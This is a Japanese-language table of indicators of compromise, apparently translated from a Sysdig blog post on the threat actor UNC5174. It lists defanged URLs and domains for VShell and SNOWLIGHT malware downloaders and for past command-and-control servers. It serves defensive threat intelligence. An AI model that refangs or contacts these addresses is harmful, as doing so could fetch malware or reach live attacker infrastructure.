| URL | http://47[.]97[.]176[.]108:8887/?a=l64&h=47.97.176.108&t=ws_&p=8887 | VShellダウンローダー |
| URL | http://images.windowstimes[.]online/?a=l64&h=images.windowstimes[.]online&t=ws_&p=80 | VShellダウンローダー |
| ドメイン | start[.]bootstrapcdn[.]fun | 過去のC2 |
| ドメイン | mcafeecdn[.]xyz | 過去のC2 |
| URL | http://124[.]221[.]120[.]25:2222/vs666 | SNOWLIGHTダウンローダー |
| ドメイン | chmobank[.]com | 過去のC2 |
| URL | http://lin[.]huionepay[.]me:2086/?a=l64&h=lin.huionepay.me&t=ws_&p=2086 | 継続中のキャンペーン – SNOWLIGHTダウンローダー |
| URL | http://lin[.]telegrams[.]icu:2086/?a=l64&h=lin.telegrams.icu&t=ws_&p=2086 | 継続中のキャンペーン – SNOWLIGHTダウンローダー |
| URL | http://lin[.]c1oudf1are[.]com:42323/?a=l64&h=lin.c1oudf1are.com&t=ws_&p=42323 | 継続中のキャンペーン – SNOWLIGHTダウンローダー |
翻訳元: https://www.sysdig.com/blog/unc5174-chinese-threat-actor-vshell











